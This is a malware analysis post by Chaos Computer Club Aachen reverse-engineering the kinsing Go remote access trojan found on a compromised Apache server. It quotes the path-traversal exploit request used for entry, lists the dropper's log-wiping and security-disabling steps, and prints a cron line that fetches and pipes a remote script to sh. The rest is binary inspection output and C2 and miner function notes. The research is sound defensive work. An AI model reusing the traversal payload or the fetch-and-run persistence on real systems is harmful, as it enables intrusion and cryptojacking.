Home kinsing - The Go RAT
Post
Abbrechen

kinsing - The Go RAT

Golang Workers mine or die (image credit: Github @dalmarcogd)

Members of the Chaos Computer Club Aachen have taken a look at a 3rd-party server that has been compromised by kinsing, a Go-programmed Remote Access Trojan usually paired with cryptocurrency miners. The following report takes a look at the functionality of this malware.

Due to privacy and legal concerns, the details of the compromised server and other IP addresses have been redacted. Keep in mind, there are various versions of kinsing in the wild. We are specifically inspecting the following:

md5sum 648effa354b3cbaad87b45f48d59c616
sha256sum 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b

Disclaimer: The Chaos Computer Club Aachen does not do reports or analysis on commission or request. This project was done in our own free time and just for fun. Please contact your local incident response or cybersecurity provider.

Entry Point

In this case, entry was granted via a vulnerable LAMP webserver (CVE-2021-41773 & CVE-2021-42013).

[<DATE REDACTED>] [core:error] [pid 3030013] [client <REDACTED IP AND PORT>] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0sh: 2: ulimit: error setting limit (Operation not permitted)
...

The downloaded script, ex.sh, then proceeds to the following steps:

  • alter the current user‘s ulimit, allowing free resource use
  • remove logfiles such as /var/log/syslog to prevent detection
  • change attributes of files such as /var/spool/cron, /etc/crontab, etc
  • download kinsing (Command & Control, Remote Access Trojan) to either /tmp/, /var/tmp/ or /dev/shm (depending on the environment variable $TMPDIR) and verify its hashes
  • kill various processes and competing resources, such as sshd, miners or docker containers
  • disable SELinux and AppArmor as well as kernel watchdog
  • create a persistent crontab to re-download and run the script:
    * * * * * wget -q -O - http://<IP REDACTED>/ex.sh | sh > /dev/null 2>&1

kinsing is executed at this point.

For reference, a flowchart was created.

Attack Flow Chart

Reverse Engineering

Examining the file with select commands yields the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ file ./kinsing

kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped

$ objdump -x ./kinsing

Sections:
... 
  4 .gosymtab     00000000  0000000001027fd8  0000000001027fd8  00c27fd8  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .gopclntab    0017aca5  0000000001027fe0  0000000001027fe0  00c27fe0  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .go.buildinfo 00000020  00000000011a3000  00000000011a3000  00da3000  2**4
                  CONTENTS, ALLOC, LOAD, DATA
...
 11 .note.go.buildid 00000064  0000000000400f9c  0000000000400f9c  00000f9c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA

$ readelf -S ./kinsing

There are 14 section headers, starting at offset 0x1c8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000401000  00001000
       000000000031cc30  0000000000000000  AX       0     0     32
  [ 2] .rodata           PROGBITS         000000000071e000  0031e000
       0000000000907761  0000000000000000   A       0     0     32
  [ 3] .shstrtab         STRTAB           0000000000000000  00c25780
       00000000000000a5  0000000000000000           0     0     1
  [ 4] .typelink         PROGBITS         0000000001025840  00c25840
       0000000000001de0  0000000000000000   A       0     0     32
  [ 5] .itablink         PROGBITS         0000000001027620  00c27620
       00000000000009b8  0000000000000000   A       0     0     8
  [ 6] .gosymtab         PROGBITS         0000000001027fd8  00c27fd8
       0000000000000000  0000000000000000   A       0     0     1
  [ 7] .gopclntab        PROGBITS         0000000001027fe0  00c27fe0
       000000000017aca5  0000000000000000   A       0     0     32
  [ 8] .go.buildinfo     PROGBITS         00000000011a3000  00da3000
       0000000000000020  0000000000000000  WA       0     0     16
  [ 9] .noptrdata        PROGBITS         00000000011a3020  00da3020
       0000000000041938  0000000000000000  WA       0     0     32
  [10] .data             PROGBITS         00000000011e4960  00de4960
       0000000000011b90  0000000000000000  WA       0     0     32
  [11] .bss              NOBITS           00000000011f6500  00df6500
       0000000000032fb0  0000000000000000  WA       0     0     32
  [12] .noptrbss         NOBITS           00000000012294c0  00e294c0
       0000000000003bc8  0000000000000000  WA       0     0     32
  [13] .note.go.buildid  NOTE             0000000000400f9c  00000f9c
       0000000000000064  0000000000000000   A       0     0     4
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

$ objdump -s -j .go.buildinfo ./kinsing

./kinsing:     file format elf64-x86-64

Contents of section .go.buildinfo:
 11a3000 ff20476f 20627569 6c64696e 663a0800  . Go buildinf:..
 11a3010 c0541e01 00000000 00551e01 00000000  .T.......U......

which shows this is a statically-linked Golang ELF executable. Reading the pointer on 0xc0541e01 (after converting Endianness), we can extract the Go version used to build the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ objdump -s --start-address=0x011e54c0 --stop-address=0x011e54d0 ./kinsing

./kinsing:     file format elf64-x86-64

Contents of section .data:
 11e54c0 a36a7b00 00000000 08000000 00000000  .j{.............

 $ objdump -s --start-address=0x007b6aa3 --stop-address=0x007b6aab ./kinsing

./kinsing:     file format elf64-x86-64

Contents of section .rodata:
 7b6aa3 67 6f312e31 352e34                   go1.15.4

The binary was then analyzed with Ghidra and radare2. Default Ghidra is impractical for Golang as none of the function or symbol names are recovered. A Ghidra script is available to recover function names. Alternatively, radare2 seems to do that automatically, with the difference being the names of entry point functions (e.g. go.main.main for Ghidra which was not directly available in radare2, in addition to entry0).

Ghidra Symbol Table

Select dependencies listed in the symbol table include:

One issue we had with decompiled view in Ghidra is a relatively empty function with multiple others of a similar name (*.func1, etc). This does appear to be due to Golang‘s segmented stacks. Disassembled, the function has the following structure and calls go.runtime.morestack, which increases the stack in 2KiB increments:

Dynamic Stack Adjustment

Moving on, we observed some interesting string patterns. Aside from a few IP addresses, a script was found at 0x007ce25f:

get_firewire.sh

This shell script is written and executed by go.main.masscan and downloads a binary with output name ‚firewire‘ and the given hash. This is possibly a bulk port scanner due to the fortunately similar name and the arguments in the shell script, but there are no available binaries online to review.

We also have health checker functions which check data integrity after a round-trip transfer between C&C and the compromised device, generated UUIDs per compromised device, and so on.

What was interesting is how the miner process was managed. There are several relevant functions:

  • go.main.minRun
  • go.main.getMinerPid
  • go.main.isMinerRunning
  • go.main.sendMinerPid
  • go.main.tryToRunMiner

with the following callgraph:

go.main.minRun Callgraph

go.main.minRun is in charge of unpacking the miner, saving to disk and running it. main.isMinerRunning checks via gopsutil if the miner is running and returns its state, and tryToRunMiner sets execute permissions and starts the it.

go.main.getMinerPid and go.main.sendMinerPid execute a REST GET or PUT request respectively, and call go.main.getActiveC2CURL (get active ‚command & control‘ URL) which decodes/decrypts a base64-encoded and RC4 cipher-encrypted value. This likely contains the controller URL/IP.

go.main.getActiveC2CURL

kdevtmpfsi is not covered in this article, since we did not have access to the binary. It is, however, a well-known cryptocurrency miner, primarily for Monero.

Various outputs are available under this link, for those who wish to dive deeper. Binaries and unpublished data may be made available to researchers upon request under the email addresses listed below.

Resources

Tools

Contacts

tanto - tanto [AT] aachen.ccc.de - PGP: 1BC7 324D F21A 207E 58D6 8ED2 1667 8E7E 4A35 1ACE

harryr - harryr [AT] aachen.ccc.de